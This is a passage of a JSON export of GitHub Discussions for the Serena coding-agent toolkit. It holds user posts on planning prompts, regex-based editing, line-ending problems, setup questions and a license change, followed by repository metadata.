semantic analysis to:**\r\n        - Identify all code locations that need modification\r\n        - Understand symbol relationships and potential impacts\r\n        - Find similar patterns already used in the codebase\r\n        - Ensure changes won't break existing functionality\r\n    * **Use Context7 to verify all external APIs:**\r\n        - Confirm correct usage of library methods\r\n        - Get latest best practices for frameworks being used\r\n        - Retrieve working code examples for complex integrations\r\n    * Write a full explanation of the issue, your proposed reasoning, and the detailed solution\r\n    * **Include ALL proposed code changes directly within the plan** (full files or relevant sections)\r\n    * **Create a new Markdown file in the `/plans/` directory** (`PLANx.md` where `x` is the next sequential number)\r\n    * This `PLANx.md` file must include:\r\n        * **Problem Description:** Clear and concise restatement of the issue\r\n        * **Codebase Analysis (via Serena):** List of affected symbols, dependencies, and current implementation details\r\n        * **Documentation References (via Context7):** Relevant API docs and version-specific information used\r\n        * **Linked Stories and Architecture References:** All relevant `/docs/` paths and specific sections\r\n        * **Clear, Structured Solution Explanation:** Detailed narrative of how the problem will be solved\r\n        * **Complete, Proposed Code:** All code that will be modified or created\r\n        * **Impact Analysis:** Based on Serena's semantic understanding, list potential side effects\r\n        * **Summary of Files to be Changed:** All files affected by this plan\r\n        * **Reasoning for Decisions:** Justification based on both codebase analysis and current documentation\r\n\r\n**3. Consult Gemini (Sparring Partner for Plan Review):**\r\n    * Present the *full content* of your `PLANx.md` file to Gemini\r\n    * Share relevant Serena analysis results (symbols, dependencies, impacts)\r\n    * Share Context7 documentation references used in your solution\r\n    * Explicitly ask Gemini to review:\r\n        * \"Proposed solution correctness\"\r\n        * \"Alignment with existing codebase patterns\" (from Serena analysis)\r\n        * \"Correct usage of external APIs\" (from Context7 docs)\r\n        * \"Architectural consistency\"\r\n        * \"Potential edge cases or risks\"\r\n    * Carefully incorporate Gemini's input, but the final decision remains yours\r\n\r\n**4. Finalize Plan and Update Memory:**\r\n    * After incorporating feedback and achieving 95% confidence:\r\n        - Finalize the `PLANx.md` file in the `/plans/` directory\r\n        - **Use Serena to store:**\r\n            * New code patterns introduced by this solution\r\n            * Important symbol relationships discovered\r\n            * Project-specific insights for future use\r\n        - **Note any Context7 documentation versions** used for future reference\r\n    * **Do NOT proceed with implementation at this stage**\r\n    * Await explicit command to execute this plan in a subsequent interaction\r\n\r\n**Planning Rules (Always Apply):**\r\n* **Analyze Before Proposing:** Always use Serena to understand existing code structure before suggesting changes\r\n* **Verify External APIs:** Always use Context7 to confirm you're using the latest, correct API methods\r\n* **Semantic Understanding First:** Leverage Serena's LSP capabilities to understand code relationships, not just text patterns\r\n* **No Assumptions About APIs:** If using external libraries, always verify with Context7 rather than relying on training data\r\n* **NEVER destroy existing solutions:** Use Serena to identify all dependencies before proposing changes\r\n* **No partial plans:** The `PLANx.md` must be comprehensive with full code analysis\r\n* **Independent Decision-Making:** Your final recommendations must be based on:\r\n    - Serena's analysis of the current codebase\r\n    - Context7's up-to-date documentation\r\n    - Project documentation in `/docs`\r\n    - Your guidelines in `CLAUDE.md` and `/docs/claude-patterns.md`\r\n\r\n**Serena MCP Usage Patterns:**\r\n- Find all references to a symbol before modifying it\r\n- Identify similar patterns in the codebase for consistency\r\n- Analyze the full call graph of functions being changed\r\n- Use semantic search to find related functionality\r\n- Store project-specific patterns and insights\r\n\r\n**Context7 MCP Usage Patterns:**\r\n- Query documentation for any external library being used\r\n- Specify exact versions when retrieving docs\r\n- Focus queries on specific topics (e.g., \"routing\", \"hooks\", \"middleware\")\r\n- Retrieve working examples for complex library features\r\n- Verify deprecation status of APIs being used\r\n\r\n**Example Workflow:**\r\n1. Issue: \"Add rate limiting to API endpoints\"\r\n2. Serena: Find all current API endpoint definitions, middleware usage, similar security implementations\r\n3. Context7: Get latest Express.js rate limiting docs, best practices for the version we're using\r\n4. Plan: Combine codebase understanding with current documentation to create robust solution\r\n5. Review: Ensure solution fits existing patterns and uses APIs correctly\"\r\n\r\n\r\n * `/docs/prd.md` \r\n        * `/docs/sprints/*.md` (stories) \r\n        * `/docs/system_architecture.md` (main system architecture)\r\n        * `/docs/frontend_architecture.md` (if applicable)\r\n        * `CLAUDE.md` and `/docs/claude-patterns.md` (your personal best practices and patterns)\r\n\r\nThe docs where created with the BMAD method. \r\n\r\nI see that since Serena is active Claude (or Serena) struggles to create the planX.md file but wants to execute directly. Usually I cleared the context first with /clear so Claude Code performs better.\r\n\r\nMy questions:\r\n1. What can I improve?\r\n2. Do I need such an comprehensive prompt or does Serna solve this on its own?\r\n\r\nHappy to discuss :) and thanks for making this MCP - seems very promising.\r\n\r\n*edit* also learned that probably me using a monorepo could cause issues currently with Serena. \r\n",
      "created_at": "2025-06-22T21:14:32Z",
      "updated_at": "2025-06-23T09:33:20Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "Milan4747",
        "avatar_url": "https://avatars.githubusercontent.com/u/194607778?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgWWi",
      "number": 213,
      "title": "🔥🔥🔥中文视频教程",
      "body": "🔥🔥🔥中文视频教程：\r\n\r\n1️⃣ https://youtu.be/DZ-gLebVnmg\r\n\r\n2️⃣ https://www.bilibili.com/video/BV1m7N1zKEU8/\r\n",
      "created_at": "2025-06-21T23:39:46Z",
      "updated_at": "2025-06-21T23:39:47Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "win4r",
        "avatar_url": "https://avatars.githubusercontent.com/u/42172631?u=e852743f09b4dca709930df719fc7325f5c576cc&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AgDmb",
      "number": 145,
      "title": "Feedback for `replace_regex` tool",
      "body": "TLDR: It's amazing! But the new prompt that tells the LLM to trust the tool and not verify can cause problems.\r\n\r\nExcellent work on the new tool. I now understand why you went down the regex path and how it's way better than my line based token efficient editing tool.\r\n\r\nIt's fast too. It sped through my tests at incredible speed thanks to the efficiency of regex.\r\n\r\nThe only issue I found is that it will accept **anything** as input for the replacement lines, even bad code. And the new instructions tells the LLM not to verify, but to trust the tools \"ok\" output. Once again, I propose my `git diff` verification strategy as a token light weight way for the LLM to verify no syntax or indentation errors were inadvertently introduced.\r\n\r\nI had Claude write up a memory for my testing session. Here it is:\r\n\r\n# ReplaceRegexTool Testing Results and Validation Strategy\r\n\r\n## Overview\r\nThe new `replace_regex` tool represents a major advancement in token-efficient code editing, providing surgical editing capabilities that can achieve 80-90% token savings compared to traditional symbol-based approaches.\r\n\r\n## Tool Architecture\r\n- **Primary Class**: `ReplaceRegexTool` (src/serena/agent.py:1404)\r\n- **Support Class**: `EditedFileContext` - robust context manager for atomic file operations\r\n- **Key Features**: \r\n  - Full Python regex support with DOTALL and MULTILINE flags\r\n  - Multiple occurrence protection (configurable)\r\n  - Atomic operations (all-or-nothing)\r\n  - Comprehensive error feedback\r\n\r\n## Test Results Summary\r\nPerformed 5 comprehensive tests following developer guidance:\r\n\r\n1. **Simple Unique Replacement** ✅ - Modified single print statement with direct escaped regex\r\n2. **Context-Aware Targeting** ✅ - Used surrounding context to target specific occurrence among similar ones\r\n3. **Multiple Occurrence Replacement** ✅ - Bulk updated all method docstrings with allow_multiple_occurrences=True\r\n4. **Large Chunk with Wildcards** ✅ - Replaced 12-line error handling section using `.*?` wildcards\r\n5. **Targeted Edit Within Method** ✅ - Modified specific return statement using context boundaries\r\n\r\n**Token Efficiency**: Achieved ~90% reduction compared to reading/replacing entire symbols.\r\n\r\n## Critical Discovery: The Replacement Content Validation Gap\r\n\r\n### The Problem\r\nWhile the tool excellently validates **pattern matching** (no matches, multiple matches, file errors), it performs **NO validation** of replacement content quality:\r\n\r\n- ❌ No syntax checking\r\n- ❌ No indentation validation  \r\n- ❌ No semantic coherence checks\r\n- ❌ Blindly accepts any replacement text\r\n\r\n### Demonstrated Risk\r\nSuccessfully inserted completely broken code (wrong indentation + syntax errors) that returned \"OK\" from the tool, creating a false sense of success.\r\n\r\n### The Token Efficiency Paradox\r\n- Use replace_regex: Save 80% tokens ✅\r\n- Skip verification: Save 20% more tokens ✅  \r\n- Later discover errors: Spend 150% tokens debugging ❌\r\n- **Net result: Worse than traditional approach!**\r\n\r\n## Universal Mitigation Strategy: The Git Diff Approach\r\n\r\n### Primary Validation: `git diff`\r\n```bash\r\ngit diff filename.py\r\n```\r\n\r\n**Advantages:**\r\n- Shows exactly what changed with context\r\n- Language agnostic (works for any file type)\r\n- Visual verification catches obvious errors instantly\r\n- Minimal token cost (~10-15 lines of diff output)\r\n- Universal availability (git is everywhere)\r\n\r\n### Secondary Validation: Syntax Checking\r\n```bash\r\npython -m py_compile filename.py  # For Python\r\n# Other languages have similar tools\r\n```\r\n\r\n**Advantages:**\r\n- Validates actual compilation\r\n- Specific error messages\r\n- Minimal token cost (~1-2 lines output)\r\n\r\n### Recommended Validation Workflow\r\n1. Execute `replace_regex` operation\r\n2. Run `git diff filename` for visual verification\r\n3. Optionally run syntax check for language-specific validation\r\n4. **Total validation cost: ~15 tokens vs 100+ for full file read**\r\n5. **Efficiency retained: ~85% instead of 90%**\r\n\r\n## Best Practices for Regex Patterns\r\n\r\n### End Pattern Uniqueness Strategies\r\n1. **Next Method Boundary** (Most Reliable):\r\n   ```regex\r\n   def target_method.*?(?=    def next_method)\r\n   ```\r\n\r\n2. **Specific Content End**:\r\n   ```regex\r\n   def method.*?specific_unique_line.*?return result\r\n   ```\r\n\r\n3. **Context + Generic Return**:\r\n   ```regex\r\n   (unique_preceding_context.*?)def method.*?return result\r\n   ```\r\n\r\n### Wildcard Usage\r\n- Use `.*?` (non-greedy) for spanning large sections\r\n- Anchor with unique start/end patterns\r\n- Size doesn't matter - wildcards handle 1 character to 1000+ lines equally\r\n\r\n## Strategic Guidelines\r\n1. **Pattern Crafting**: Invest time in precise regex patterns to avoid multiple matches\r\n2. **Trust Pattern Matching**: The tool's pattern validation is excellent\r\n3. **Don't Trust Replacement Content**: Always validate using git diff approach\r\n4. **Progressive Refinement**: Use tool error feedback to refine patterns\r\n5. **Fail Fast**: Better to get \"multiple matches\" error than to guess\r\n\r\n## Impact Assessment\r\nThis tool + validation strategy combination creates a **robust, token-efficient editing pipeline** that:\r\n- Achieves massive token savings (80-85% reduction)\r\n- Maintains high confidence through visual validation\r\n- Works across all programming languages\r\n- Provides safety nets against common LLM editing errors\r\n\r\nThe git diff validation approach solves the \"replacement content blind spot\" and makes the replace_regex tool suitable for production use in token-constrained environments.",
      "created_at": "2025-06-02T12:11:11Z",
      "updated_at": "2025-06-02T21:43:52Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "chknd1nner",
        "avatar_url": "https://avatars.githubusercontent.com/u/98872355?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Af-52",
      "number": 131,
      "title": "Idea for implementing more token efficient editing",
      "body": "I've been working on this with Claude a while. I had a whole PRD and technical requirements document written up with code listings for the implementation all ready to go.\r\n\r\nBut I think after you showed how much better you understand the Serena codebase than I do, I'll just give you the summary of the idea I came up with and let you run with it if you see merit in the concept.\r\n\r\nLet me know if you want to see the full documentation I had prepared, I made the validation method particularly comprehensive.\r\n\r\n### The Problem\r\nCurrent LLM coding agents are token-hungry monsters when editing code. To change a single line in a 200-line class, they must:\r\n\r\n1. Read the entire symbol (consuming tokens)\r\n2. Generate the entire new version (consuming more tokens)\r\n3. Send the complete replacement to 'replace_symbol_body'\r\n\r\nResult: 6,000 tokens for a 1-line change 💸\r\n### The Solution\r\n**Chunk-based differential editing** - send only what changed, not the entire symbol.\r\nInstead of full replacement:\r\n```python\r\n# Traditional approach - EXPENSIVE\r\nreplace_symbol_body(location, entire_200_line_function)\r\n```\r\nUse targeted chunks:\r\n```python\r\n# Chunk approach - 95% CHEAPER\r\npatch_symbol_with_chunks(location, [\r\n    {\r\n        \"context_before\": \"    def process_data(self, input_data):\",\r\n        \"old_lines\": [\"        return transform(input_data)\"],\r\n        \"new_lines\": [\"        try:\", \"            return transform(input_data)\", \r\n                     \"        except ValueError:\", \"            return None\"],\r\n        \"context_after\": \"    def next_method(self):\"\r\n    }\r\n])\r\n```\r\n### Why It's Brilliant\r\n\r\nContext-based positioning (Plays to LLM strength in pattern and semantic understanding. Minimises weaknesses--Line counting needed for traditional universal diff formats)\r\n80-95% token reduction in typical scenarios\r\nLLM-friendly format designed specifically for AI code generation\r\n### Atomic Validation - The Secret Sauce\r\nThe real innovation is comprehensive validation before any changes:\r\n**Phase 1: Validate ALL chunks before touching anything**\r\n\r\nContext matching (flexible whitespace handling)\r\nOld lines verification (exact content matching)\r\nSymbol boundary checks (no edits outside symbol range)\r\n**Cross-platform line ending consistency** (detects and preserves CRLF/LF/CR)\r\nEnd-of-symbol context validation\r\nInsertion/deletion logic verification\r\n\r\n**Phase 2: Apply all changes atomically**\r\n\r\nOnly executes if ALL chunks pass validation\r\nSingle write operation with preserved line endings\r\nAll-or-nothing guarantee - no partial corrupted edits\r\n\r\n```python\r\n# Example validation catches this before any damage:\r\n# Chunk 1: ✅ Valid\r\n# Chunk 2: ❌ Context mismatch  \r\n# Chunk 3: ✅ Valid\r\n# Result: No changes applied, detailed error returned\r\n```\r\nThe line ending detection is particularly robust - handles Windows CRLF, Unix LF, and legacy Mac CR formats, preventing the \"massive diff due to line ending changes\" problem that breaks git workflows.\r\n### The Impact\r\n\r\nLonger coding sessions without hitting token limits\r\nDramatically lower API costs\r\nAbility to work with larger codebases\r\nZero risk of corrupted partial edits through atomic validation\r\nCross-platform compatibility without line ending chaos\r\n\r\n",
      "created_at": "2025-05-28T11:23:51Z",
      "updated_at": "2025-06-02T12:59:59Z",
      "category": {
        "name": "Ideas",
        "emoji": ":bulb:"
      },
      "answer": null,
      "user": {
        "login": "chknd1nner",
        "avatar_url": "https://avatars.githubusercontent.com/u/98872355?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Af_-O",
      "number": 134,
      "title": "Syntax Errors & Duplicated Lines",
      "body": "Hi all, first of all thanks to the team who have put so much effort into this MCP, I imagine it is saving many people hundreds of dollars + turbo charging their ability to create cool stuff! \r\nI am working on a react native app in typescript and I notice it is very common for serena to leave duplicate lines in the code i.e. importing the same library twice. I'm not sure why this occurs, I guess it might be down to the line counting. I'd love to hear if anyone has any strategies to overcome this or if I can help contribute to resolving this issue. \r\nT",
      "created_at": "2025-05-29T10:56:37Z",
      "updated_at": "2025-05-29T11:26:51Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "treviesweets",
        "avatar_url": "https://avatars.githubusercontent.com/u/8135108?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4Af3QB",
      "number": 125,
      "title": "Inconsistent line endings in symbol.py",
      "body": "Hi guys.\r\n\r\nI tried submitting a PR a few days ago and found GitHub thinks the whole file is changing instead of just a few lines. I think the issue is with the line endings.\r\n\r\nI set my `git config core.autocrlf input` because I am on Mac. Therefore, no matter what I do, whenever I commit anything, it's gonna be just LF.\r\n\r\nAccording to the readme, you guys are all on `git config core.autocrlf true` which means that you're working locally on Windows with CRLF, but no mater what, when you commit, your stuff should also be converted to just LF.\r\n\r\nIf that is the case, then why is there still a discrepency in the line endings causing my PRs to appear as a whole file replace? And interestingly, this only happens to me for `symbol.py`. The changes I made to `agent.py` show no issue with the diff.\r\n\r\nConclusion: There's something funny going on with the line endings of symbol.py in the repository on GitHub. Somehow it's got CRLF despite you all using autocrlf true.",
      "created_at": "2025-05-21T05:20:13Z",
      "updated_at": "2025-05-26T02:45:23Z",
      "category": {
        "name": "General",
        "emoji": ":speech_balloon:"
      },
      "answer": null,
      "user": {
        "login": "chknd1nner",
        "avatar_url": "https://avatars.githubusercontent.com/u/98872355?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfjLp",
      "number": 112,
      "title": "Changed License to MIT",
      "body": "We decided to change the license from GPL to the more permissive MIT, this makes it easier to use Serena in more projects, and also creates less friction when merging changes back to the MIT licensed multilspy.\r\n\r\n@marcelomendoncasoares @shyraptor @HillLiu You have contributed some code under the GPL license. I suspect you don't mind the change to a more permissive one :), so this is mainly an FYI. But let me know if you do - in case you wish so, we could remove your commits.\r\n",
      "created_at": "2025-05-01T21:02:00Z",
      "updated_at": "2025-05-24T13:54:41Z",
      "category": {
        "name": "Announcements",
        "emoji": ":mega:"
      },
      "answer": null,
      "user": {
        "login": "MischaPanch",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?u=50efd3eae4a8fe2b25816f965c10707c91e27382&v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfdfV",
      "number": 99,
      "title": "I'm having issues configuring Claude Desktop; what other options do I have?",
      "body": "What options for clients do I have on Windows? I have Windsurf, but if I install Serena in Windsurf and combine it with Cascade, what Serena tools should I disable? I'll try installing for Claude again with Smithery. I use a screen reader and I can't seem to bring up the Claude menu bar.\r\nOn a side note, how about adding/publishing Serena on smithery.ai? Nobody can install it there, but they have a page for Serena.",
      "created_at": "2025-04-26T19:37:26Z",
      "updated_at": "2025-04-26T22:23:03Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": null,
      "user": {
        "login": "Orinks",
        "avatar_url": "https://avatars.githubusercontent.com/u/38449772?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfUhr",
      "number": 64,
      "title": "how to use serena in IDE without mcp??",
      "body": "Hey, I have tried using it as agno agent, its working but have very less visibility and no control of its action. And if I will use it as MCP then the API cost will be according to the client like cline or roocode. \n\nI think we should have our own extension which directly uses serena so we can work with local models as well and with cloud models also we shall incur minimum cost..",
      "created_at": "2025-04-10T16:44:28Z",
      "updated_at": "2025-04-16T16:56:03Z",
      "category": {
        "name": "Announcements",
        "emoji": ":mega:"
      },
      "answer": null,
      "user": {
        "login": "bhupesh-sf",
        "avatar_url": "https://avatars.githubusercontent.com/u/6471510?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfOZZ",
      "number": 53,
      "title": "How to setup for use with Gemini 2.5 ?",
      "body": "I am unclear on how to setup Serena for Gemini 2.5 Pro usage, and if it works with MCP or not.\n\nI have added my GOOGLE_API_KEY to .env and commented out my Anthropic key, but this doesn't seem to instruct Agno to use the Gemini model.",
      "created_at": "2025-04-09T04:30:55Z",
      "updated_at": "2025-04-11T03:17:31Z",
      "category": {
        "name": "Q&A",
        "emoji": ":pray:"
      },
      "answer": {
        "id": "DC_kwDOONgOes4AwxJE",
        "body": "You need to adjust the Agno agent script to take Gemini as model "
      },
      "user": {
        "login": "gsimard",
        "avatar_url": "https://avatars.githubusercontent.com/u/1130218?v=4"
      }
    },
    {
      "id": "D_kwDOONgOes4AfOZQ",
      "number": 51,
      "title": "Welcome to Serena Discussions!",
      "body": "<!--\r\n    ✏️ Optional: Customize the content below to let your community know what you intend to use Discussions for.\r\n-->\r\n## 👋 Welcome!\r\n  We’re using Discussions as a place to connect with other members of our community. We hope that you:\r\n  * Ask questions you’re wondering about.\r\n  * Share ideas.\r\n  * Engage with other community members.\r\n\r\n",
      "created_at": "2025-04-09T22:29:33Z",
      "updated_at": "2025-04-09T22:29:33Z",
      "category": {
        "name": "Announcements",
        "emoji": ":mega:"
      },
      "answer": null,
      "user": {
        "login": "opcode81",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?u=b5ba615c4c4cd1d2eff6118ff403787887f81d72&v=4"
      }
    }
  ],
  "details": {
    "id": 953683578,
    "node_id": "R_kgDOONgOeg",
    "name": "serena",
    "full_name": "oraios/serena",
    "private": false,
    "owner": {
      "login": "oraios",
      "id": 181485370,
      "node_id": "O_kgDOCtE_Og",
      "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
      "gravatar_id": "",
      "url": "https://api.github.com/users/oraios",
      "type": "Organization",
      "user_view_type": "public",
      "site_admin": false
    },
    "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
    "fork": false,
    "url": "https://api.github.com/repos/oraios/serena",
    "created_at": "2025-03-23T22:35:24Z",
    "updated_at": "2026-02-15T01:14:52Z",
    "pushed_at": "2026-02-14T23:58:04Z",
    "homepage": "https://oraios.github.io/serena",
    "size": 6236,
    "stargazers_count": 20225,
    "watchers_count": 20225,
    "language": "Python",
    "has_issues": true,
    "has_projects": true,
    "has_downloads": true,
    "has_wiki": false,
    "has_pages": true,
    "has_discussions": true,
    "forks_count": 1361,
    "archived": false,
    "disabled": false,
    "open_issues_count": 75,
    "license": {
      "key": "mit",
      "name": "MIT License",
      "spdx_id": "MIT",
      "url": "https://api.github.com/licenses/mit",
      "node_id": "MDc6TGljZW5zZTEz"
    },
    "allow_forking": true,
    "is_template": false,
    "web_commit_signoff_required": false,
    "has_pull_requests": true,
    "pull_request_creation_policy": "all",
    "topics": {
      "0": "agent",
      "1": "ai",
      "2": "ai-coding",
      "3": "claude",
      "4": "claude-code",
      "5": "language-server",
      "6": "llms",
      "7": "mcp-server",
      "8": "programming",
      "9": "vibe-coding"
    },
    "visibility": "public",
    "forks": 1361,
    "open_issues": 75,
    "watchers": 20225,
    "default_branch": "main",
    "permissions": {
      "admin": false,
      "maintain": false,
      "push": false,
      "triage": false,
      "pull": true
    },
    "temp_clone_token": "",
    "custom_properties": {},
    "organization": {
      "login": "oraios",
      "id": 181485370,
      "node_id": "O_kgDOCtE_Og",
      "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
      "gravatar_id": "",
      "url": "https://api.github.com/users/oraios",
      "type": "Organization",
      "user_view_type": "public",
      "site_admin": false
    },
    "network_count": 1361,
    "subscribers_count": 75
  },
  "lastFetched": 1771125358446
}